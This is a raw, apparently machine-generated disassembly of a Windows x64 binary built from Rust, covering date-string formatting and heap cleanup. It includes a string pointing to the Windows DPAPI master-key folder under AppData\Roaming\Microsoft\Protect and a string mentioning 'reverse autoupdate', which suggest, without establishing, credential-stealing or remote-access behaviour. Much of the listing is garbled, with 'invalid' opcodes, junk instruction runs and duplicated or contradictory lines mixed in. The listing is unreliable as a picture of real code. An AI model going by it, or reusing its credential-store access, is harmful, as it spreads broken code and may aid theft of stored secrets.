cmp dword [rsp + 0x128], 0x4e1ffff
ja case.0x140026776.38
mov rax, qword [rsp + 0x268]
mov rsi, qword [rax]
mov rax, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
sub rcx, rdx
cmp rcx, 2
jbe 0x140029160
lea rdi, [rsp + 0x38]
mov rcx, qword [rsp + 0x38]
movzx r8d, byte [rsi + 2]
mov byte [rcx + rdx + 2], r8b
movzx r8d, word [rsi]
mov word [rcx + rdx], r8w
mov dword [rcx + rdx], eax
mov dword [rcx + rdx], eax
add rdx, 3
mov qword [rsp + 0x48], rdx
sub rax, rdx
cmp rax, 1
jbe 0x140029182
lea rax, [rdx + 2]
xor esi, esi
mov word [rcx + rdx], 0x202c
add dh, byte [rcx]
mul byte [rsi - 0x39]
add al, 0x11
sub al, 0x20
mov qword [rsp + 0x48], rax
cmp dword [rsp + 0xf0], 0x16e7
ja 0x140028744
mov rax, qword [rsp + 0x120]
lea rcx, [0x1400b1b86]
movzx eax, byte [rax + rcx]
mov rcx, qword [rsp + 0x128]
lea esi, [rcx + rax*8]
shr esi, 4
and esi, 0x1f
cmp esi, 0xa
jae 0x140028cdd
add esi, 0x30
jmp 0x140028d06
invalid
invalid
add byte [rax], al
mov edx, 0x48000005
cmp dword [rsp + 0x100], 0
cmp qword [rsp + 0x100], 0
je case.0x140026776.38
mov eax, dword [rsp + 0xcc]
mov dword [rsp + 0x140], eax
and al, 0x40
add dword [rax], eax
invalid
and al, 0x40
add dword [rax], eax
add byte [rcx + 0x12824bc], al
cmp dword [rsp + 0x128], 0x4e20000
cmp dword [rsp + 0x128], 0x4e20000
jae 0x140028855
add byte [rax], al
lea rbx, [rsp + 0x38]
mov rcx, rbx
mov edx, dword [rsp + 0x17c]
and al, 0x7c
add dword [rax], eax
invalid
and al, 0x7c
add dword [rax], eax
jl 0x140028788
add byte [rax], al
add al, ch
bnd jl 0x14002878b
call fcn.140010480
mov rcx, rbx
mov edx, dword [rsp + 0x178]
call fcn.140010480
cmp byte [rsp + 0x210], 0x63
adc byte [rdx], al
add byte [rax], al
invalid
lea rdi, [0x1400b11a0]
ja case.0x140026776.38
jl 0x14002878b
dec dword [rax - 0x77]
invalid
adc byte [rdx], al
add byte [rax], al
invalid
mov rcx, rbx
mov edx, dword [rsp + 0x174]
call fcn.140010480
mov rcx, rbx
mov edx, dword [rsp + 0x170]
call fcn.140010480
jmp 0x140028929
invalid
cmp qword [rsp + 0x100], 0
je case.0x140026776.38
lea rcx, [0x1400b1e67]
jmp 0x140027fa7
movzx eax, r8b
lea rcx, [0x1400ef4b0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0x1d8]
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
lea rax, [0x140043b00]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add cl, ch
clc
add eax, dword [rax]
add byte [rax], al
lea rax, [rsp + 0x140]
mov qword [rsp + 0xd0], rax
lea rax, [0x140049c10]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [0x188028899], al
mov dword [rsp + 0xb0], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [0x188028899], al
mov dword [rsp + 0xb0], 0
add byte [rax], al
invalid
movabs rax, 0x900000020
add byte [rax], al
add byte [rcx], cl
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdi*4], ah
add byte [rax], al
add dh, al
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rbx], al
invalid
mov qword [rsp + 0xb8], rax
mov byte [rsp + 0xc0], 3
invalid
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
or al, 0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x90]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
mov byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
mov byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rax, [rsp + 0xd0]
add byte [rax], al
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
add byte [rax], al
lea rbx, [rsp + 0x38]
mov rcx, rbx
lea rdi, [0x1400b11a0]
mov byte [rax], cl
add byte [rax - 0x77], cl
cli
mov byte [rax], cl
add byte [rax - 0x77], cl
cli
lea r8, [rsp + 0x60]
call fcn.140042180
test al, al
jne case.0x140026776.38
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x140028942
mov rcx, rbx
call fcn.140051370
mov rdx, qword [rsp + 0x48]
lea rax, [rdx + 1]
mov rcx, qword [rsp + 0x38]
mov byte [rcx + rdx], 0x2d
mov qword [rsp + 0x48], rax
and al, 0x48
mov rcx, qword [rsp + 0xf0]
cmp ecx, 0x16e8
jae 0x140028997
mov rax, qword [rsp + 0x120]
mov eax, dword [rsp + 0x120]
lea rdx, [0x1400b1b86]
movzx eax, byte [rax + rdx]
lea esi, [rcx + rax*8]
shr esi, 9
cmp sil, 0xa
mov edx, 0x30
sbb edx, 0xffffffff
cmp sil, 9
jbe 0x14002899e
add esi, 0xf6
jmp 0x14002899e
xor esi, esi
mov edx, 0x30
invalid
add byte [rax - 0x77], cl
fld1
fidivr dword [rdx - 2]
inc dword [rbx + 0xf4030ce]
mov dh, 0xd6
mov rcx, rbx
mov ecx, ebx
call fcn.140010480
or esi, 0x30
movzx edx, sil
mov rcx, rbx
call fcn.140010480
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x1400289ce
mov rcx, rbx
call fcn.140051370
mov rdx, qword [rsp + 0x48]
lea rax, [rdx + 1]
mov rcx, qword [rsp + 0x38]
mov byte [rcx + rdx], 0x2d
mov qword [rsp + 0x48], rax
cmp dword [rsp + 0xf0], 0x16e7
ja 0x140028a12
mov rax, qword [rsp + 0x120]
lea rcx, [0x1400b1b86]
movzx eax, byte [rax + rcx]
mov rcx, qword [rsp + 0x128]
lea eax, [rcx + rax*8]
shr eax, 4
and al, 0x1f
jmp 0x140028a14
xor eax, eax
movzx esi, al
lea eax, [rsi + rsi*4]
lea eax, [rax + rax*4]
add eax, esi
shr eax, 8
mov ecx, eax
or cl, 0x30
add eax, eax
lea eax, [rax + rax*4]
sub sil, al
or sil, 0x30
movzx edx, cl
mov rcx, rbx
call fcn.140010480
movzx edx, sil
mov rcx, rbx
call fcn.140010480
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x140028a63
mov rcx, rbx
call fcn.140051370
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x54
inc rdx
mov qword [rsp + 0x48], rdx
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0xf8], eax
mov rcx, rbx
mov edx, dword [rsp + 0x11c]
call fcn.140010480
mov rcx, rbx
mov edx, dword [rsp + 0x118]
call fcn.140010480
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x140028ab9
mov rcx, rbx
call fcn.140051370
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x3a
inc rdx
mov qword [rsp + 0x48], rdx
mov rcx, rbx
mov edx, dword [rsp + 0x148]
call fcn.140010480
mov rcx, rbx
mov edx, dword [rsp + 0x114]
call fcn.140010480
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x140028b01
mov rcx, rbx
call fcn.140051370
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x3a
inc rdx
mov qword [rsp + 0x48], rdx
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
mov edx, dword [rsp + 0x110]
call fcn.140010480
mov rcx, rbx
mov edx, dword [rsp + 0x10c]
call fcn.140010480
mov ecx, dword [rsp + 0xf8]
test ecx, ecx
je 0x140029071
mov eax, ecx
imul edx, ecx, 0x68c26139
ret 0xc168
retf 0x8106
cli
invalid
adc byte [rax], al
add byte [rdi], cl
xchg ah, ah
add eax, dword [rax]
invalid
ret 0xc168
imul ecx, ecx, 0x26e978d5
ror ecx, 3
cmp ecx, 0x418937
invalid
mov dword [rcx], eax
add byte [r15], cl
xchg byte [rdx], dh
add al, 0
invalid
invalid
add byte [r15], cl
xchg byte [rdx], dh
add al, 0
add byte [rax - 0x73], cl
test byte [rax + rdi*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x1af7e
lea rax, [rsp + 0xf8]
mov qword [rsp + 0xd0], rax
lea rax, [0x140043b00]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 9
jmp 0x140028fec
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x1e0]
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
lea rax, [0x140043b00]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 6
jmp 0x140028c4d
mov rax, qword [rsp + 0x150]
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
lea rax, [0x140043b00]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 9
mov qword [rsp + 0xb0], 0
movabs rax, 0x800000020
mov qword [rsp + 0xb8], rax
mov byte [rsp + 0xc0], 3
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x90]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rcx, [rsp + 0x38]
lea rdx, [0x1400b11a0]
lea r8, [rsp + 0x60]
call fcn.140042180
test al, al
je 0x140025f70
jmp case.0x140026776.38
lea eax, [rsi + rsi*4]
lea eax, [rax + rax*4]
add eax, esi
shr eax, 8
lea ecx, [rax + 0x30]
add eax, eax
lea eax, [rax + rax*4]
sub sil, al
or sil, 0x30
movzx edx, cl
mov rcx, rdi
call fcn.140010480
movzx esi, sil
mov rcx, rdi
mov edx, esi
call fcn.140010480
mov rax, qword [rsp + 0x48]
cmp rax, qword [rsp + 0x40]
jne 0x140028d2c
mov rcx, rdi
mov rdx, rax
call fcn.140051370
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xf0]
lea rdx, [rax + 1]
mov r8, qword [rsp + 0x38]
mov byte [r8 + rax], 0x20
mov qword [rsp + 0x48], rdx
cmp ecx, 0x16e7
ja 0x1400295e5
mov rax, qword [rsp + 0x120]
lea r9, [0x1400b1b86]
movzx eax, byte [rax + r9]
lea ecx, [rcx + rax*8]
shr ecx, 9
dec ecx
cmp ecx, 0xb
ja 0x1400295ea
shl rcx, 4
lea rax, [0x1400b1fb0]
mov rsi, qword [rcx + rax]
mov rax, qword [rsp + 0x40]
mov rcx, rax
sub rcx, rdx
cmp rcx, 2
jbe 0x14002919f
movzx ecx, byte [rsi + 2]
mov byte [r8 + rdx + 2], cl
movzx ecx, word [rsi]
mov word [r8 + rdx], cx
add rdx, 3
mov qword [rsp + 0x48], rdx
cmp rdx, rax
jne 0x140028dd0
mov rcx, rdi
mov rdx, rax
call fcn.140051370
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x48]
mov byte [r8 + rdx], 0x20
inc rdx
mov qword [rsp + 0x48], rdx
mov rcx, rdi
mov edx, dword [rsp + 0x18c]
call fcn.140010480
mov rcx, rdi
mov edx, dword [rsp + 0x188]
call fcn.140010480
invalid
dec dword [rax - 0x77]
stc
mov edx, dword [rsp + 0x180]
call fcn.140010480
mov rcx, rdi
mov edx, dword [rsp + 0x184]
call fcn.140010480
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x140028e32
mov rcx, rdi
call fcn.140051370
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x20
inc rdx
mov qword [rsp + 0x48], rdx
mov rcx, rdi
mov edx, dword [rsp + 0x11c]
call fcn.140010480
mov rcx, rdi
mov edx, dword [rsp + 0x118]
call fcn.140010480
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x140028e7a
mov rcx, rdi
call fcn.140051370
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x3a
inc rdx
mov qword [rsp + 0x48], rdx
mov rcx, rdi
mov edx, dword [rsp + 0x148]
call fcn.140010480
mov rcx, rdi
mov edx, dword [rsp + 0x114]
call fcn.140010480
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x140028ec2
mov rcx, rdi
call fcn.140051370
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x3a
inc rdx
mov qword [rsp + 0x48], rdx
mov rcx, rdi
mov edx, dword [rsp + 0x110]
call fcn.140010480
mov rcx, rdi
mov edx, dword [rsp + 0x10c]
call fcn.140010480
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x140028f0a
mov rcx, rdi
call fcn.140051370
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x20
inc rdx
mov qword [rsp + 0x48], rdx
lea rcx, [0x1400b2248]
mov rdx, rdi
jmp 0x140027fac
imul rax, rax, 0x431bde83
shr rax, 0x32
jmp 0x1400284cb
imul rax, rax, 0x431bde83
shr rax, 0x32
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
and al, 0xd0
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x1aba3
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 3
jmp 0x140028fec
mov eax, eax
imul rax, rax, 0x10624dd3
shr rax, 0x26
jmp 0x140028546
imul rax, rax, 0x10624dd3
shr rax, 0x26
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
lea rax, [0x140043b00]
stosd dword [rdi], eax
add dword [rax], eax
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 6
mov qword [rsp + 0xb0], 0
movabs rax, 0x800000020
mov qword [rsp + 0xb8], rax
mov byte [rsp + 0xc0], 3
lea rax, [0x1400d8f80]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x90]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
mov rcx, rbx
mov rdx, rdi
lea r8, [rsp + 0x60]
call fcn.140042180
test al, al
jne case.0x140026776.38
mov dword [rsp + 0x90], 0x1010100
lea rcx, [rsp + 0x90]
mov rdx, rbx
jmp 0x140027fac
lea rcx, [rsp + 0x38]
mov rdx, r15
mov r8, rsi
call fcn.1400aae70
mov r15, qword [rsp + 0x48]
jmp 0x1400283bf
mov r8d, 1
lea rsi, [rsp + 0x38]
mov rcx, rsi
call fcn.1400aae70
mov rdx, qword [rsp + 0x48]
lea r8, [0x1400b11a0]
jmp 0x140028225
mov r8d, 3
lea rcx, [rsp + 0x38]
call fcn.1400aae70
mov rdx, qword [rsp + 0x48]
jmp case.0x14001b912.213
mov r8d, 2
lea rcx, [rsp + 0x38]
call fcn.1400aae70
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
jmp 0x1400283f6
mov r8d, 1
lea rsi, [rsp + 0x38]
mov rcx, rsi
call fcn.1400aae70
pop rdi
sbb eax, 0x8b480008
push rsp
and al, 0x48
pop rdi
sbb eax, 0x8b480008
push rsp
and al, 0x48
lea r8, [0x1400b11a0]
jmp 0x1400284b2
mov r8d, 1
lea rsi, [rsp + 0x38]
mov rcx, rsi
call fcn.1400aae70
mov rdx, qword [rsp + 0x48]
lea r8, [0x1400b11a0]
jmp 0x14002852d
lea rcx, [rsp + 0x38]
and al, 0x38
mov rdx, rsi
mov r8, rdi
call fcn.1400aae70
mov rsi, qword [rsp + 0x48]
and al, 0x48
and al, 0x48
jmp 0x140028641
mov r8d, 3
lea rdi, [rsp + 0x38]
mov rcx, rdi
stc
stc
call fcn.1400aae70
mov rax, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
jmp 0x1400286cb
mov r8d, 2
mov rcx, rdi
mov ecx, edi
call fcn.1400aae70
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x48]
jmp 0x1400286f9
invalid
invalid
invalid
mov r8d, 3
mov rcx, rdi
call fcn.1400aae70
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
and al, 0x40
jmp 0x140028d9c
mov r8d, 1
lea rsi, [rsp + 0x38]
je 0x1400291ef
cmp byte [rax - 0x77], cl
int1
je 0x1400291ef
cmp byte [rax - 0x77], cl
int1
call fcn.1400aae70
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
lea r8, [0x1400b11a0]
jmp 0x140028447
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x48]
cmp byte [rbx + rcx*4 + 0x44], cl
and al, 0x48
lea rsi, [rsp + 0x198]
mov rcx, rsi
call fcn.140041e50
mov ebx, eax
cmp qword [rsp + 0x40], 0
invalid
invalid
je 0x14002921d
add byte [rsp + rdx + 0x4c], sil
mov eax, dword [rsp + 0x38]
mov r8, qword [rsp + 0x38]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bl, bl
jne 0x140029455
movups xmm0, xmmword [rsp + 0x298]
movaps xmmword [rsp + 0x1f0], xmm0
cwde
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x1f0], eax
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x200], rax
cmp qword [rsp + 0x100], 0
je 0x140029272
cmp qword [rsp + 0x160], 0
je 0x140029272
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x100]
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x198], rax
lea rax, [0x140014ea0]
and al, 0xf0
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rbx*4], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xfffebc17
mov qword [rsp + 0x1a0], rax
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x1a8], rax
lea rax, [0x1400514b0]
mov qword [rsp + 0x1b0], rax
lea rcx, [rsp + 0x2b0]
mov qword [rsp + 0x1b8], rcx
mov qword [rsp + 0x1c0], rax
lea rax, [0x1400bb4e0]
mov qword [rsp + 0x90], rax
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], 3
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x90]
lea edx, [rsp + 0x90]
call fcn.1400407c0
mov rdi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
and al, 0x70
and al, 0x70
lea rcx, [rsp + 0x168]
mov rdx, rdi
call fcn.1400081b0
test rax, rax
je 0x140029385
mov rsi, rax
test rbx, rbx
test ebx, ebx
je 0x140029353
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x1f8], 0
je case.0x14001bc32.55
invalid
invalid
mov r8, qword [rsp + 0x1f0]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x168]
call qword [sym.imp.kernel32.dll_CloseHandle]
or byte [rax], al
jmp 0x1400293ce
test rbx, rbx
je 0x14002939c
mov rcx, qword [0x1400f91f8]
dec byte [eax + eax]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jo 0x1400293a3
invalid
jo 0x1400293a3
add byte [rax - 0x7d], cl
mov esp, 0x1f824
cmp qword [rsp + 0x1f8], 0
cmp dword [rsp + 0x1f8], 0
add byte [rax], al
je 0x1400293be
mov r8, qword [rsp + 0x1f0]
add byte [rax], al
mov rcx, qword [0x1400f91f8]
or eax, 0xcfe42
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x168]
call qword [sym.imp.kernel32.dll_CloseHandle]
outsd dx, dword [rsi]
or byte [rax], al
outsd dx, dword [rsi]
or byte [rax], al
xor esi, esi
test byte [rax - 0x77], 0xf0
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x2d0]
add rsp, 0x2e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
lea r8, [0x1400d7798]
mov edx, 0x190
call fcn.1400a9d70
ud2
add dword [rax], eax
add al, ch
pop rdi
or dword [rax], ecx
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
pop rsi
in eax, 0xa
add byte [rdx + 0x191], bh
add byte [rax], al
add byte [rax], al
call fcn.1400a9d70
ud2
cmp qword [rsp + 0x40], 0
je 0x140029455
mov r8, qword [rsp + 0x38]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x1400e6708]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly
lea r9, [0x1400b1210]
lea r8, [rsp + 0x60]
mov edx, 0x37
call fcn.1400aa200
ud2
lea rcx, [0x1400d7249]
lea r8, [0x1400d7298]
mov edx, 0x1e
call fcn.1400a9e70
ud2
lea rax, [0x1400d72b0]
mov qword [rsp + 0x20], rax
mov rdx, r14
xor r8d, r8d
mov r9, rsi
call fcn.1400aa440
ud2
mov ecx, 1
mov rdx, rsi
call fcn.1400a9bd0
ud2
call fcn.1400401e0
ud2
lea rax, [0x1400d6f50]
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r9
mov rdx, r14
mov r9, r14
call fcn.1400aa440
ud2
lea rax, [0x1400d6f68]
mov qword [rsp + 0x20], rax
mov rdx, r14
mov r9, r14
call fcn.1400aa440
ud2
lea rax, [0x1400d6f80]
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.1400aa440
ud2
lea rcx, [0x1400d7249]
lea r8, [0x1400d7268]
mov edx, 0x1e
call fcn.1400a9e70
ud2
lea rax, [0x1400d7280]
jmp 0x1400294a1
mov ecx, 0xffffffff
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_format_formatting.rsAMPMJanFebMarAprMayJunJulAugSepOctNovDec
mov edx, 0xc
call fcn.1400a9d70
ud2
mov ecx, 0xffffffff
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_format_formatting.rsAMPMJanFebMarAprMayJunJulAugSepOctNovDec
mov edx, 0xc
call fcn.1400a9d70
ud2
mov ecx, 0xffffffff
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_format_formatting.rsAMPMJanFebMarAprMayJunJulAugSepOctNovDec
mov edx, 0xc
call fcn.1400a9d70
ud2
lea rax, [0x1400d71a0]
mov qword [rsp + 0x20], rax
mov rdx, r15
mov r9, r15
call fcn.1400aa440
ud2
lea rax, [0x1400d7200]
jmp 0x14002962f
lea rax, [0x1400d7218]
jmp 0x14002962f
lea rax, [0x1400d7230]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x50]
mov rdx, r15
mov r9, r15
call fcn.1400aa440
ud2
lea rax, [0x1400d7158]
mov qword [rsp + 0x20], rax
mov r8d, 1
jmp 0x1400296c2
lea rax, [0x1400d71d0]
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.1400aa440
ud2
lea rax, [0x1400d71b8]
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.1400aa440
ud2
lea rax, [0x1400d71e8]
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.1400aa440
ud2
lea rax, [0x1400d7170]
mov qword [rsp + 0x20], rax
mov r8d, 2
jmp 0x1400296c2
lea rax, [0x1400d7188]
mov qword [rsp + 0x20], rax
mov r8d, 3
mov rcx, rdi
mov rdx, r15
mov r9, r15
call fcn.1400aa440
ud2
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rcx - 0x48], al
or eax, dword [rax]
add byte [rax], al
call fcn.14007ff70
movzx eax, byte [rsp + 0xa8]
add byte [rax], al
add byte [rdx + rax], bh
je 0x14002bea8
add byte [rax - 0x75], cl
mov esp, 0x9024
add byte [rbx + rcx*4 - 0x44], cl
mov rdi, qword [rsp + 0x90]
mov r15, qword [rsp + 0x98]
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
mov ebx, dword [rsp + 0xa0]
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
invalid
pushfq
and al, 0xa0
add byte [rax], al
add byte [rax + rax*8 + 0x1a9840f], al
invalid
invalid
add dword [rax], eax
invalid
test al, al
je 0x14002abee
invalid
invalid
add dword [rax], eax
invalid
test byte [rcx + 0x48000001], ch
lea edx, str.AppDataRoamingMicrosoftProtectS_0_2_33_8774236410_5547236945_4104468792_1000
lea rdx, str.AppDataRoamingMicrosoftProtectS_0_2_33_8774236410_5547236945_4104468792_1000
lea rcx, [rsp + 0x90]
mov r8d, 0x50
call fcn.14000f9e0
mov r14, qword [rsp + 0x90]
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
mov word [rax + rdx*4], fs
nop
add byte [rax], al
add byte [rcx - 0x48], al
push rax
add byte [rax], al
add al, ch
or dword [rdi - 2], 0xb48b4cff
and al, 0x90
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
lea rcx, [rsp + 0x60]
mov rdx, rdi
mov r8, rbx
mov r9, r14
mov ecx, esi
call fcn.1400863b0
cmp qword [rsp + 0x98], 0
and al, 0x98
add byte [rax], al
add byte [rax], al
mov ecx, 0x83480005
mov esp, 0x9824
and al, 0x98
add byte [rax], al
and al, 0x98
add byte [rax], al
add byte [rax], al
je 0x14002aaa4
mov rcx, qword [0x1400f91f8]
or eax, 0xce75f
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
pop rcx
or byte [rax], al
ror byte [rbp - 0x77], cl
invalid
pop rcx
or byte [rax], al
test r15, r15
je 0x14002aabb
mov rcx, qword [0x1400f91f8]
or al, 0
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x60]
mov r8, qword [rsp + 0x70]
jo 0x14002ab0e
mov dword [rsp + 0x20], 0x30
jo 0x14002ab0e
mov dword [rsp + 0x20], 0x30
xor byte [rax], al
add byte [rax], al
lea r9, str.0961k61f649641g949610_785369d_h4649219_71ff5453jrunningprocessedreverseautoupdate
lea rcx, [rsp + 0x108]
mov rdx, rdi
mov edx, edi
mov edx, edi
call fcn.1400863b0
mov dword [rsp + 0x90], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
adc dword [rsp + 0x98], eax
adc dword [rsp + 0x98], eax
add bh, al
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rdi], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rsp + rbp*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
test byte [rsp + rsi*4], ah
invalid
mov dword [rsp + 0xa8], 7
mov qword [rsp + 0xac], 0
add byte [rax], al
add byte [rax], al
mov word [rsp + 0xb4], 0
mov ah, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dh, al
mov byte [rsp + 0xb0], 1
mov byte [rsp + 0xb0], 1
